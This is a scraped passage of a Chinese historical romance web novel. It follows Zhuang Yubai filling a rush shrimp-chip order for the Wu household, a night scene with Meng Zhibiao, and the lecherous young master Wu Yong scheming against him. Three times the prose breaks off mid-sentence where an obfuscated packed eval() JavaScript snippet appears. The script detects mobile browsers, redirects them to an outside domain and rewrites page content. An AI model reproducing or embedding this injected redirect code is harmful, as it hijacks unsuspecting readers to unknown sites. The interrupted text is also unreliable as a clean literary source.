他家老太太千秋的回礼让他家大娘子头疼了好些时日。世人最重礼尚往来。送礼是门学问，但回礼更彰显主家品味。天遂人愿，谁知这金玉满堂就直接送到眼面前，这不是天降福星么。 赵管家好话说了一箩筐，满脸期待看着孟知彰，希望对方能应下这事，谁知这孟书郎一双眼睛只黏在身旁的哥儿身上。 作管家的都惯会察言观色，立马明白这个家这件事谁说了算，于是将姿态放得更低，陪着小心求庄聿白：“小郎君，若有什么难处尽管说出来。这银钱，我都带来了！加钱也行！” 庄聿白自是知道这是个难得的客单。吴员外家祝寿回礼，所能辐射的圈子和人群，是此时在乡野一隅的他很难覆盖的。能将生意做大做强当然是好事，不过眼下确实为难。 “倒不是我们故意拿乔，实在是近日订单太多。凡事总有个先来后到，家中人手有限，哪怕不日不夜不眠不休，贵府这一单也是赶不出来的。” 赵管家一听笑容僵在脸上，急得直搓手叹气，正不知如何是好，忽瞥见地上那几位，跺脚厉声骂道：“兴二！还不滚过来给贵人赔罪！” 那几个小厮一听忙跪爬过来，对着孟知彰磕头如捣蒜，骂自己被鸡啄了眼、油蒙了心，喝了几两猫尿不知自己姓谁名谁，这才冲撞了贵人。忘两位贵人大人不记小人过，要打要罚任凭处置，千万别不接这单生意。 那兴二仍一动不动坐在那地上，抬起眼皮看看赵管家，又斜眼白了庄聿白一眼，鼻中轻哼一声将头拧过去，只梗着脖子。 赵管家咬牙上前就是一脚，揪着他耳朵威胁：“兴二，你可别犯浑！实话告诉你，你和小公子那点子事，大娘子可是知道了。若你乖乖听话，不再惹是生非，后院都睁一只眼闭一只眼。但若你不识好歹……你就亲自去尝尝老爷的板子是厚是薄吧！” 胳膊拧不过大腿，兴二被赵管家揪到孟庄二人面前，一抱拳，最终含混一句：“是兴二错了。” 兴二面上这是被按头认了错，心中哪里服气。他嘴中呼呼喘着气，腮帮鼓成鱼泡，猩红着眼死死瞪着庄聿白，似乎要将自己那份屈辱化成刀，把眼前这个哥儿的那张脸划碎划烂。不然这样妖孽的一张脸，迟早会祸害人。 穷寇莫追。兴二这等污泥中恰烂饭的人，阴损之招多的是。若不能一招摁死，宁肯躲远些，不然疯狗惹急了只会乱咬，空惹自己一身腥臊。 赵管家见孟庄二人还没有答应的意向，忙又陪笑脸：“若是二位贵人担心人手之事，我派人来帮忙如何？比如他们几个……” 庄聿白随着赵管家视线看了看地上那几个歪瓜裂枣，自然是帮不上找什么大忙。不过找帮手这话提醒了他。 庄聿白咕噜眼珠盘算一番，心下有了主意：“贵府这几位家丁……我们也是见识过了，金球玉片都是细致活，我直说了，他们恐帮不上忙。若贵府实在要下这一单，加急费和人工费咱都需要另外算。” 赵管家先是听加人手也做不来，正准备豁出去他这张老脸来跪下求庄聿白。后又说加钱可行，一下高兴了，满脸褶子笑成花，满口答应：“成！成！加多少钱都成！” 庄聿白拿了张纸写写画画半天，120包金球的原料，可以同步出400包玉片，问赵管家金球玉片是否只要100包。 现在是卖方市场，能买到就算烧了高香。赵管家接到的最低需求是金球玉片各100包做回礼，大娘子交代若能多买些加在席面上再好不过，而且家中上至老太太下到几位姑娘都喜欢这玉片，吵嚷着要当小食。刚才各100包就让庄聿白的为了难，后面的赵管家跟本没敢提。 现下庄聿白提到可以给到这么多，赵管家满口只剩“是是是”“好好好”。当即表示全部买下，又掏出2两银子奉上，定钱。 庄聿白没急着接，将临时画的账单拿给赵管家看。 120包金球+400包玉片=4160文 今天四月二十八，五月初一交货，中间只留了三天工期，关键原本家中还有学中和乡邻订单要赶做。至少需要找1个完整帮手。临时寻人加上加急费用，120文一天，就是360文。 几百包玉片炸制分装再运到吴家很是不放便，商量下来辛苦庄聿白带着坯片亲自去吴员外家中完成最后炸制。这就涉及到路费问题。赵管家说他派人来接，庄聿白想了想，说牛大有正好去送炭，他搭个便车就是了，但这路费要吴家出。 （120包金球+400包玉片）*8文/包+3天工钱&加急费*120文/天+往返路费80文=4600文 双方对定价无异议。另外约定，今日交付2两首付款，四月二十九金球就绪，吴家来取时交付1两中间款。此外吴家派两名小厮打下手，小厮工钱和打包用的荷叶等吴家自行准备。初一庄聿白只带坯片前往，厨房一应设备等也需吴家备齐。 庄聿白接了定金，又在地上挑了两个脸上淤青最多的小厮，让他们明天来干活。 “怎么，不愿意？” 地上小厮看了眼孟知彰的青筋缠绕的拳头，点头如啄米：“愿意！愿意！” * 孟知彰关了柴门，将庄聿白引回凳子上坐下，自己则将坯片慢慢平铺到簸箕上。 “你，会不会太辛苦？”孟知彰知道庄聿白敢接这个单子，自然有法子完成。他信他。只是…… 孟知彰看向庄聿白，瘦瘦一团，坐在一个小凳子上，拖着一尾小小的影子……看得人心中一酸。 “银子耶！孟兄看！” 庄聿白浑然没发觉那目光中晦涩难明的情绪波动，只将那一角银子拿在手上翻来覆去看。 银子形状并不规则，一小块金属带着剪切痕迹，金属味中夹杂着一股锈味。 他在画吴家这笔订单的时候，将乡邻和学中两个订单的工作量也算了出来。吴家这单需要60斤麦子20斤虾，学中乡邻加上端午前货郎张的日常售卖，则需要90斤麦子30斤虾。 这么大的工程量庄聿白自己自然完不成，但不是有孟知彰和牛大有呢么。再加上两个被揍服了的小厮，做起事来想必也能十分利索。 原料，孟知彰让庄聿白不用担心。50斤虾他请同窗叔父后日一早送来，至于麦子，他现在去趟牛大有家。 霞光漫天，庄聿白给菜园中的小苗浇了遍水。光照足，山中腐殖质肥力厚，菜苗肉眼可见地往上窜，地面已被叶片全部遮满。 晚饭，他计划做两份虾油青菜面犒劳一下。接下来几天估计就没今日这份短暂的清闲了。 庄聿白蹲在这片生机旺盛的菜苗旁，分棵寻隙，挑中一枚大而厚的叶片，手指在根部轻轻一掐，“叭——”清脆一声，叶片拢入手中。 嫩叶绒毛抵在掌心，庄聿白不敢用力攥握。接着第二片，第三片……摘了满满一把。这种人类原始采集活动带来的满足感，让人踏实，也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832335|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让人安心。 今日份虾头整理后留在那里，庄聿白仔细清洗几遍，沥干水分备用。起锅，倒油，油热后葱姜花椒爆香，滑入虾头，轻轻按压挤出虾黄，小火煸至红酥松脆，颗颗夹出，装碟淋撒椒盐。澄亮虾油盛出放凉，盈盈一盏。 孟知彰带着满身斜照将柴门关上时，庄聿白另起锅煮水，水开没入菜叶，默数到5捞出备用。游丝走线的面条浮上水面，继续煮半分钟，挑入碗内，摆上青菜虾头，温热的虾油一浇，香气四溢。 两人对坐无言。虾油鲜亮，青菜翠绿，润弹的面条裹上汤汁，吸溜一口，香味直击味蕾最深处。搭上红艳艳松脆虾头，酥香醇鲜。配着这宁静的夏日暮色，一碗荡浮尘，一碗也足以慰平生。 明日开战，两人将坯片淀粉等收好，早早熄灯躺下。 月末月初，夜空寻不到半分月亮踪影。夜色如漆，涂满床畔。 庄聿白面朝里躺在枕上，手旁是他的一千文钱袋子，现在里面多了新得的那2两银子。 “孟兄，你今天真的很神勇，一人徒手制服他们这么多人。”庄聿白情绪高，声调也高，又想想到手的2两银子，此时此刻就很想和人聊聊天。一激动，一个鲤鱼打挺，翻身正对上孟知彰。 他眼睛眨眨，看不到一丝光亮，也看不见面前人，只能听过呼吸分辨出身边人平躺在枕上。很远，似乎又很近。 片刻，咫尺开外轻描淡写“嗯”了声。算是回应。 庄聿白不死心，还想多聊会，他胳膊肘支起上半身，夜色中半俯在人家身旁，虽然看不见表情，还是眉眼湾笑地八卦道：“你之前是不是也常跟人打架？也像今日这般潇洒么？说说嘛！” 身旁均匀的呼吸似乎停了。庄聿白半个人悬在那，刚要探下身去听个缘故，身旁人忽然一个大动，翻身朝外侧躺了过去。 这是不想聊。 床身并不太牢，被压得“吱呀吱呀”轻响几声。响声中，庄聿白的身体也被带着晃动几下。温热的衣角，还蹭到了庄聿白鼻头。 不聊算了。庄聿白用力翻个白眼，涨到房顶的情绪瞬间落下来。他躺回枕上调整下姿势，强行睡了。 切，没劲！真是和他尿不到一个壶里。 夜色无澜，身边人呼吸均匀沉稳，庄聿白不知不觉也跟上对方的节奏，气息在胸口吞吐吸纳，眼睑变得涩重。睡意沉沉中，身体像一艘海上小舟浮在暗流涌动的水面，随波起伏。 “哐啷——”一声异响将沉眠正酣的庄聿白惊醒。 “什么声音？”他忽然警觉，压低声音，“难道是……盗贼？” 偷风不偷月，偷雨不偷雪。今夜无光无亮且有暗风掩护，这种天气最是盗贼行动的好时机。能随风潜入夜的盗贼自然是结伴行动，庄聿白白天见识了几个小厮的蛮横不讲理，至于盗贼，不知还会下怎样的狠手。 身边人也听到了，从枕上起来，听声音是要下床。 “你别去！”庄聿白极力压低声音，双手下意识跟着抓过去。因手被捆绑着，他自己也不清楚抓到哪里。只觉只觉对方一滞，温热的躯体越发坚实，上面浮动的青筋跟着鼓胀起来。 离得近，除了夜幕下交缠的呼吸，熟悉的皂角气味下，是一股幽幽的松林气息。 这种毫无遮挡的触碰，倒让庄聿白的情绪一下安定下来。 “无妨，我去看看。” 庄聿白肩上倏然一重，一只坚实干燥的手掌覆过来，安抚似地轻轻揉了把。 “我跟你去！”庄聿白也不知怎么了，见手中扯着的人要离开，他死死抓着不放手。 被扯住的人愣了片刻，往回来了半步。覆在左肩的手掌温热有力，沿着庄聿白紧绷的后背，慢慢滑至右肩，就这样半圈半托着，将庄聿白放回枕上。 “我去去就回。”孟知彰轻声安抚，试探着收回被缠住的胳膊，临走又在那捆绑成结的手腕上握了一下。 “放心。” 26. 夜巡 孟知彰轻声出了门。 庄聿白支肘侧卧在枕上，黑暗中静静听院中的动静。好在很快对方就回来了。 一苗灯火将夜色驱散，庄聿白的眸子跟着明亮起来，紧紧盯着孟知彰的一举一动。 “是老鼠。”近来日家中吃食较多，难免吸引到老鼠。孟知彰将厨灶又检查了一遍，“放心，无事的。改日聘只狸奴或者买些鼠药。” 一盏水递到庄聿白唇边，庄聿白没多想，理所当然地在孟知彰手中咕嘟咕嘟喝起来。清水清凉，微微发甜，他喝了两口，随后抬起视线，孟知彰好整以暇的面庞看不出半分愠色。 “有老鼠，你不生气么？” “生气？”见对方不喝了，孟知彰将碗盏收回来，“人的情绪和精力，要用在有意义的事情上，不是么？老鼠撞倒支架，收起来便是。家中粮米吃食等，我们好生看顾着免受祸害。生气，不解决问题。所以，不生气。” 庄聿白歪着头，抬起睡意仍存的眼睛看向眼前人。别人是喜怒不形于色，他是心中不生喜怒，确实是个情绪稳定的人。 孟知彰拖着影子走回去，将碗盏放在桌上：“家中有鼠，某种意义上也算幸事。” “幸事？”庄聿白以为自己听岔了。 孟知彰剪下灯花，火苗渐渐缩小，后又倏忽一跳，更加明亮起来：“荒乱饥馑之年，莫说米肉价贵不可得，草虫树皮都能卖钱，西境战乱那年加上蝗灾旱灾，一只老鼠价值两百文。” “两百文！怎么可能！”那可是30斤粮食，10斤大虾，10斤油！庄聿白心中快速换算着一只老鼠的购买力，认定孟知彰是在开玩笑。 不过细想似乎也说得通，人都要饿死了，一只老鼠能保命，200文想必也是有人买的。 庄聿白转念又想到什么，看向孟知彰：“不过孟兄你年岁也不大，想必没经历过这样的大荒大乱，一只老鼠200文，你如何知道得这般详细？” 孟知彰眉心暗不可察一扬，半侧身，示意庄聿白往他身后看。这满墙的书，可不只是摆设。 孟知彰修长有力的手指在层叠书脊上擦过，声音沉静异常：“孟某有幸，上有遮风片瓦，下有立锥之地，不至流离失所。眼下不仅温饱尚能维持，还有余力读上几本书，这更算是万幸中的万幸。寻常之家有闹鼠，说明郊野之外无流民。所以，们谋见到家中有鼠，不仅不生气，还心存庆幸。” 今晚的孟知彰似乎感慨颇多。庄聿白猜不透原本严肃持重的身躯上究竟背负着什么。 年少时，庄聿白曾读到赫赫有名的横渠四句，“为天地立心，为生民立命，为往圣继绝学，为万世开太平”庄聿白一直觉得这只是文人的梦话醉话。世间哪会真有这样满腔热忱之人，不过是文人的自我美化和历史的滤镜加持罢了。 一阵不知从何而起的风，吹到孟知彰脸颊上，发丝轻扬，他的视线下意识朝光亮处看去。 明亮灯辉洒满眼前人衣衫，身后是浩瀚书海，孟知彰就站在那光里，隔着桌案，隔着夜色，隔着时空看过来。 庄聿白心头猛然一震。 腹有诗书，潜修自牧，胸荡浩然之气的少年卿相，忽然有了模样。 孟知彰熄了灯，托着手中半盏水，庄聿白喝剩的半盏水，迟疑片刻，在夜幕下递到唇边，仰头一饮而尽。 庄聿白双脚搭在床边，仍支肘侧卧在枕上，他有很多话想同眼前人说，一时又不知从何说起。脚步声越来越近，停在床边。庄聿白已经能感受到对方的沉稳的气息和渐渐逼近的温度。 但孟知彰一直停在那里，猜不透要做什么。 “孟兄，你怎么不上来？”庄聿白终究忍不住。 黑暗中的身躯动了动，似乎有些为难，半日道：“你……睡在了我的枕上。” * 庄聿白从床上爬起来时，院中已经忙得热火朝天。 孟知彰和牛大有各执一木盆，认真揉洗面团，无人讲话，唯有水声叮咚。阴凉处摆着四五桶洁白的淀粉水，三四团绵软的面筋浸泡在清水中等待下一步炸制。 吴家的小厮也来了，顶着乌青的眼圈忙着拎水、烧柴、整理荷叶。 当然庄聿白看不见的地方，孟知彰已经翻过肥堆，浇过菜园，货郎张也已来过，还带走今日份的金球和玉片。 牛大有是天蒙蒙亮就带着磨好的面粉登门的。昨日孟知彰说缺人手，看能否调出时间帮着忙两天。话还没说完，牛大婶当即答应好，又从家中这爷仨中，指派出最能干的牛大有。 “眼下家中炭窑收拾停当，只等出炭，而且出炭有你大叔和二有。”牛大婶让孟知彰宽心。 孟知彰提到工钱，牛婶围裙一摘，动了气。说知彰这是长大了，拿他们当外人，帮个忙怎么还谈工钱。 孟知彰母亲去世后，牛大婶一直把他当半个儿子，只是家中艰难，能帮衬到的地方有限。但帮个忙却谈钱，确实寒了大婶的心。 孟知彰忙收起一惯的老成持重，摆出在长辈面前才有的少年姿态，笑着哄牛大婶。说这是琥珀的生意，琥珀说给工钱他拦不住，而且这钱是买家额外给到的。既如此，请外面人也是请，钱让外人赚去不说，做事哪里有自家人安心。 孟知彰一口一个“自家人”，牛婶心里高兴，既然这工钱没出在知彰身上，她也就不心疼了。不过眼前能赚点钱也是好事，给知彰做喜被还差个五六十文，说不定帮上这三两天的工，就凑个七七八八了。 人多力量大，孟知彰和牛大有水洗淀粉的同时，庄聿白将清水浸泡的面筋整理成荔枝大小的圆球摆至装水大盘内。 吴家这批金玉满堂所要用到淀粉和面筋，刚到中午就全部洗出来了。午后晾晒淀粉，同步将所有金球炸出来，吴家小厮将120包金球打包好，傍晚吴家来车带走时付上1两银子的中间款，今天的工作就算告一段落。 牛大婶带来家中闲置的簸箕，也带来了热气腾腾的午饭，菘菜鸡蛋汤和新出锅的杂粮面饼。她知道知彰家中忙，想来没有人做饭，便自己做主安排了。 几个人围挤在小木桌上，一顿饭吃得异常热闹。来帮忙的吴家小厮自己带了吃的，但早就冷了。见庄聿白招呼他们一起吃饭，先是不可置信地看看彼此，确定并不是戏弄他们时，忙开心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841532|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地接过满满一碗菘菜汤。 饭间，庄聿白和孟知彰对视一眼，当着牛婶和牛大有的面提起工钱之事。这次订单来得急也要的急，前后要忙3日，每日工钱120文。 牛大婶带着心理预期来的，心想有个五六十文就已经很知足了。后来听说120文1天，惊得直看孟知彰，以为知彰这表弟哄她。孟知彰点点头，示意牛婶120文1天是真的。 牛大婶不识字，简单的账目还是会算的，1天120文，3天就是360文。360文！她在围裙上擦擦手心冒出的汗，嗔怪孟知彰：“哪能开这样高的工钱！这不胡闹么！” “大有哥值这样高的工钱。”庄聿白笑着说下去，“除了工钱，还有路费。初一那日我要跟着炭车一起去吴家，往返路费80文。” “搭个车，顺手的事，你牛叔牛婶还能收你钱！”牛大婶急得都要坐不住了。 庄聿白忙拉住解释，说吴家原本要派车来接，计划中是有这项支出的，只是坐别人的车他不放心。钱还是吴家出，牛婶只管收着便是。 牛大婶听得直叹气，担心知彰和这个柔柔弱弱的表弟年轻不会做生意：“那你们还有的赚么？不会亏本么！” “牛婶放心，自然是有的赚的！我还要赚更多，表哥去考试的钱已经在攒了！”庄聿白说话的空档冲他家表哥挑了下眉，又想到什么，“不过有一事还要麻烦牛婶。” 牛大婶知道孟知彰有的赚就放心了，她给庄聿白又递了一个饼子：“这孩子！有什么麻烦不麻烦的，有事情你尽管说。” 庄聿白饭量小，刚吃过半个饼子已经饱了，不过还是双手接了过来：“牛婶受累，明日午饭也烦劳帮忙准备下，和今天一样便可。刚才工钱360文，路费80文，是440文，加上两次午饭，凑个整500文钱，牛婶别嫌少。” 庄聿白将饼子顺手递给身旁的孟知彰，孟知彰理所当然接过来，也没多想直接吃了一口。家中就两人，不论饭菜多寡好坏，一人吃不下，剩下的便会由另外一人清盘。当然，多数清盘工作都是孟知彰承接的。 这一幕落在牛婶眼中，不过她现在被这几百文钱搞得直愣神，根本无暇想别的。她不明白，只是帮个几天的小忙，怎么就能多出500文钱。 庄聿白数出200文钱给到牛婶，说是定金。又装了一小坛烹炸玉片金球的剩油，晚上燃灯用。 牛大婶不记得怎么走回家的，整个人云里雾里，脚下更像踩了芦絮。一盏油灯在牛家燃起，上次夜间点灯已经不知是什么时候了。牛大婶就着灯光她将这200文钱数了一遍又一遍。 “知彰家这表弟别看人长得瘦小，头脑倒灵活得很，心思也正，是个正经孩子。而且连燃油这等小事也能放心上。”牛大婶把钱收进袋子中，往牛大叔身边凑了凑，压低声音，“我看他这表弟就很不错。若是知彰没定下那淮南庄家的哥儿……” 牛大婶又想到什么：“你不是说庄家哥儿那后母不想成这门亲事吗，有没有可能退婚？” 庄聿白自是没听到牛婶认为他和孟知彰般配的话，不过他很快听说孟知彰要娶亲了。 27. 云家 五月初一清早，庄聿白带着40斤晒干的坯片坐上了牛家炭车。 孟知彰不放心，原要跟着一起去，被庄聿白劝住了。吴家的订单算是告一段落，可乡邻和学中订单的淀粉还在院中晾晒。家中无人照看可不行，即便没有歹人，飞鸟走鼠也是隐患。 “何况这不是有大有哥呢么！表哥不相信我，难道还不信大有哥么！”庄聿白将牛大有搬出来。 牛大有嘿嘿憨笑两声，往前走了两步，壮硕的身影将庄聿白和他的影子一并严严挡住。 表哥暗不可察地叹口气，只同牛大有说了句：“万事当心。” 牛家炭车不大且破旧不堪，一看便知为这个家鞠躬尽瘁立下过汗马功劳。车身装着几大篓木炭，一寸粗一尺长，码得齐齐整整。炭体黑亮，阳光一打，结构色立显，呈现出一种五彩斑斓的黑，如同乌鸦的羽毛。 果真是好炭，这样品相的炭，不仅耐烧耐储存，烟气也小，自然受欢迎。不过听牛大有说这四五篓有两三百斤，只能卖上五百文。庄聿白默默点点头记在了心里，没再多说。 车子沿着一条小路在树林越走越深，虽已到夏日，遮天蔽日的树荫打下来，庄聿白觉得身上湿湿凉凉的，湿哒哒的衣服贴在身上，这种感觉很熟悉。 他应该熟悉，这就是他从河中逃出来的那条路。同样的湿凉的体感似乎唤起了此前的一些记忆。 不等庄聿白提醒牛大有“附近恐有恶犬”，牛大有用鞭子指指前方竹林掩映处的几所房舍：“前面就是云先生家了。” 庄聿白自然是记得这位“云先生”的，虽素未谋面，但这个名字打自己刚来就听到了。 “云先生家怎么这么偏，像是藏在这山中似的。”庄聿白前后看看，若不是牛大有指给他看，一般人发现不了前面有户人家。 牛大有不善言辞，庄聿白问一句他说一句。等炭车走出这片山林，庄聿白大致勾勒出这位云先生的画像。 多亏了云先生，牛家才能有这一个烧炭的营生，家中日子不至于太熬煎。不仅牛家对云先生感激有加，村中乡民提起来也皆颇为敬重。这几座山虽属于云家，但乡民偶尔挖些笋子，捕些鱼虾，或者路过打些野兔什么的，云先生都是默许的。山中梅果等成熟了，云先生还会让刘叔采摘后送到族长家分给乡民尝鲜。 自打牛大有记事起，这位云先生就住在了山里，没人知道他们从哪里来的，也不清楚他们会不会突然搬走。云先生素日深居简出，不太同人往来，平时也鲜少出门。即便出门，常去的也就是附近积云寺，同那的主持喝茶谈经。 能过着闲云野鹤生活的人，大都是些世外高人。庄聿白刚想向牛大有打探云先生是否有什么过人之处，却听身边挥鞭赶车之人道：“云先生是来此守墓的。” 一阵凉风钻进脖颈，庄聿白下意识紧下衣襟：“守墓？替谁守墓？” “那位云公子的父亲。” 云先生家有位公子，长得玉树临风、风流倜傥，和孟知彰年岁相当。 庄聿白不是什么爱听八卦的人，不过云先生一家的传奇经历，确实勾起他的好奇。他缠着牛大有再多讲些。 “我知道的有限。不过知彰同云公子走得近。知彰的功夫还是云公子的师父教的。” 庄聿白想起来，这位云公子应该就是孟知彰口中提到过的那位“云兄”。庄聿白暗自埋怨孟知彰，有这等人脉不介绍给自己认识，真是小器。 * 晌午不到，牛大有的炭车就到了吴家后门。牛大有赶车去卸炭，庄聿白则被管家亲自带去小厨房。厨房内一应炭火、食油等都准备齐全，连烧火打下手的小厮都安排了三四个。 这种大户人家人多事多，拜高踩低的事也是常有的。庄聿白这边礼待有加，想必是主子那一层特意交代过的，下面人也不敢多为难。牛大有不一样了，上次那兴二当着他和孟知彰的面还敢跟牛大有放狠话，何况这次是到了他兴二的地盘来送炭。 分开时庄聿白特意让牛大有多加小心，他自己人单力薄，尽量不与旁人冲突。 庄聿白将带来的坯片拿与管家看，又让管家亲自交代几个小厮注意事项，赵管家全程笑着应承。他还专门派老成的人跟着牛大有去称炭柴，算是卖庄聿白一个面子。 前日120包金球带回来时，老太太心情大悦，特意将饭桌上的半碟凉拌鸡瓜当众赏了赵管家。这赏的哪是一碟菜？是脸面，是恩宠！这次玉片制作完成，哄得老太太高兴，他这个管家岂不是更得脸。所以现在的庄聿白就是他的座上宾，这玉片炸制就是首要差事，其他事其他人都要往后排。 当然管家了解这兴二，也知道那日兴二在庄聿白家吃了瘪，以免他来生事，特意嘱咐后门上多派几个人盯着，如果兴二有什么动静，赶紧报给他。 赵管家的担忧不无道理。 兴二自打那日在孟知彰家吃过亏之后，心中越想越恨，整日琢磨着怎么报那几拳之仇。后面听说庄聿白要来吴家，心思活络起来，想着这不是兔子进了狐狸洞么。 不过他自己力量有限，若再遇到上次那壮汉估计还是只有吃亏的份儿。有一说一，壮汉的路数着实厉害，自己还没看清对方怎么出招的，已经脸着地趴在土里，肩背和脸上早挨了几拳，火辣辣的疼。 自己打不赢，那找外援。兴二日日在吴小公子身旁吹枕边风，让吴小公子千万给他做主。 说近来有个不知轻重的厨子欺辱了他。仗着自己做的吃食受欢迎，又是大娘子派人去请的，便自以为拿到尚方宝剑了不得了，不仅不把他放在眼中，知道他兴二是小公子的人之后，还特意派出一个五大三粗的悍匪来打他。 打他，不就是不给吴小公子面子么？不给吴小公子面子，不就是看不起吴家么？他兴二自己受委屈不打紧，他见不得别人欺辱他家小公子。 兴二越说越激动，掏出他娘马婆子给他的绣花手帕子，抽抽噎噎，在吴小公子面前狠掉了几滴眼泪。 吴小公子一听便炸了火，不过他是个风月场合流连惯了的，见兴二做小伏低缠绞在他身上，知道这事八成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849686|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴二不占理，但架不住他自己怜香惜玉，便拉下脸，装出个异常生气的模样，吵嚷着要去揭了那厨子的皮。 “一个厨子，还敢动你！等他来的，不让他扒层皮，老子跟他姓！” 吴小公子说完，又拉过兴二手中的帕子，折起绣着粉色桃花的一角，亲自将兴二那乌青眼眶上挂着的几滴眼泪擦了去。 既然吴小公子答应出马了，这口气就算出了一半。 求人办事，哪怕是枕边人，也得付出些代价，给到些诚意。何况兴二这排不上号的、充其量只能算个编外暖床的。兴二将平生所学极尽所能、好好伺候了小公子一通，被人抬回去后趴了大半日才从床上下来。 * 庄聿白这边一切就绪，开始炸制玉片，刚第一锅出炉，他就发现窗外门前多出些身影，假装有意无意地路过，眼神却一直往自己这边看。 不过这也怪不得别人。 一是大家确实没见过玉片，一个清俊小生做法术似的，把那么一小把薄片往锅中一放，锅中瞬间喷云堆雾般往外炸雪团，满厨房香气飘荡。谁看了不迷糊？ 掌管厨房的吴嫂素来严肃少言，在吃食面前眼高于顶，自认为满城中她的厨艺无人能敌，可等她见了庄聿白的玉片烹制过程，半日说不出话。等意识归位，口中只剩连声惊呼。 吴嫂一开始还矜持着远远看着，闻到香味后有些坐不住了，不知几时人已经走到灶火旁，带着探究和打量看向眼前这位小生。再后面围在身边又是研究坯片，又是讨教油温，若不是那么多人看着，她都想亲自为这个小生添柴烧火，那股殷勤热络劲儿不知道的还以为是个拜师学艺的学徒。 庄聿白在吴家引起围观，更主要的是人长得俊秀。虽粗衣素服，但架不住身段样貌出挑，更带有天然去雕饰的一股风流之姿。 窗外私语，他家吴小公子花50两银子从西边新娶来的三姨奶奶已经算是个绝色，但和这小哥儿比，那还差得不是一星半点。 别说后厨烧火打杂的小丫头，就是跟在老太太身边见过些世面的大丫头，都假借看进度的由头，亲自往厨房跑了好几趟。 庄聿白刚到不过一个时辰，他的名号已经在后院的丫头小厮里面传开了。众人还私下给他起了个诨名，叫什么琥珀仙子。 管家先前特意交代过了，要好生招待，众人更是极尽殷勤之所能，端茶倒水自不必说，庄聿白临时休息的茶案上高矮不一的茶盏就放了四五个，连擦汗的绣花手帕也已经摆了好几条。中间还夹杂着一个香囊。送来的小丫头说厨房烟气重，帮这位琥珀公子熏熏衣衫。 庄聿白刚到吴家，兴二就把消息递给了他的吴小公子吴用。 这吴用当时正在天香楼招蜂引蝶乐得自在，本要把兴二打发走，却听身边小厮说这厨子比家中三姨奶奶生的还好。 这小厮很是懂他家主子，吴用一听，当即放下酒盏，提衣整帽，趿拉着鞋子就要往家走。 他倒要好好会一会这位琥珀仙子，看他究竟是怎样一个风流标致人物。 28. 哑巴 吴用到家并没有先去厨房，而是着人小心打听老爷夫人都在做什么，有没有问他去了哪里。听说老爷不在家，大娘子在老太太房中看礼单子。他那颗悬着的心便放了下来，一溜烟闪去后院。 “新来的厨子呢！本公子倒要看看是怎样人物？胆有多肥，心有多大，竟把兴二都给打了！” 听见吴用的声音，小厨房里有人忙点头哈腰笑迎出去：“小公子怎么到这儿来了！有什么事，您吩咐一声就行了。这烟气大，小心熏坏您的衣裳！” “那厨子呢？让他来回话！”吴用一把扇子扇得飞起，眼睛却不住往厨房门里探。 “正在小厨房灶上给老太太炸玉片呢！” 那人看吴用这架势便知不好，不知又受了谁的挑唆。这小公子长辈面前装乖扮巧，私底下是个无法无天的魔王。眠花宿柳、走兽逗鸟样样精通。那人恐他在厨房惹事，忙将老太太搬出来。 “都说小公子有孝心，今日竟然亲自来盯着老太太寿宴要用的物件。小公子要找那厨子，我把他叫出来回话也是可以的，只是现在油热锅熟，他若一时离了灶上，那满锅的玉片恐怕要废了。浪费东西事小，耽误了老太太的事情就罪过了。小公子最是明事理的。或者公子您先在这院子里阴凉处略坐坐，等忙好了，我把他带出来见您？” 那人说着便一叠声招呼小厮来倒茶、拿软垫子、给小公子好好扇着风。 几句话连哄带堵，吴用自然明白对方用意。他抬手制止那人：“老太太的东西，本公子自是要好好盯着的。你忙你的，他忙他的，本公子自己进去看看。不耽误。” 吴用装模作样正了正帽子，折扇收起背至身后，迈开四方步跨进厨房。 厨房不大，临时开小灶用的。背对着门，灶上一人正忙着。吴用猜这就是那小厨子了。 虽未看到长相，但这背影已让他惊得心一跳又一跳。 “好生……媚啊。”吴用暗自惊诧。 他下意识舔了下嘴唇，一双眼睛将人从上扫到下。这小厨子身量不高但身板直挺，成色不错。他从未见过琥珀色头发，这摸颜色搭在瘦削肩头，若是灯下床帏内细细摩看，岂不更绝？腰臀弧度……多一分太娇，少一分太平，美得刚刚好。不知抓在手中……又是何感觉。 吴用斜抽着嘴角，像只闻着味儿的鬣狗，欺身绕至庄聿白身边，语调轻佻：“呦！听说是你——派人打了兴二？” 庄聿白正专心将几把坯片放入锅中，1、2、3、4、5，虾片骤然蓬起，雪片冰团般从平静油面越溢越多。 吴用离得近，冷不丁给这景象吓了一跳。不过他看灶下烧火的小厮一脸见怪不怪的模样，忙稳了稳表情，轻咳一声，摆出见多识广的架势：“这就是那什么‘金玉满堂？’” 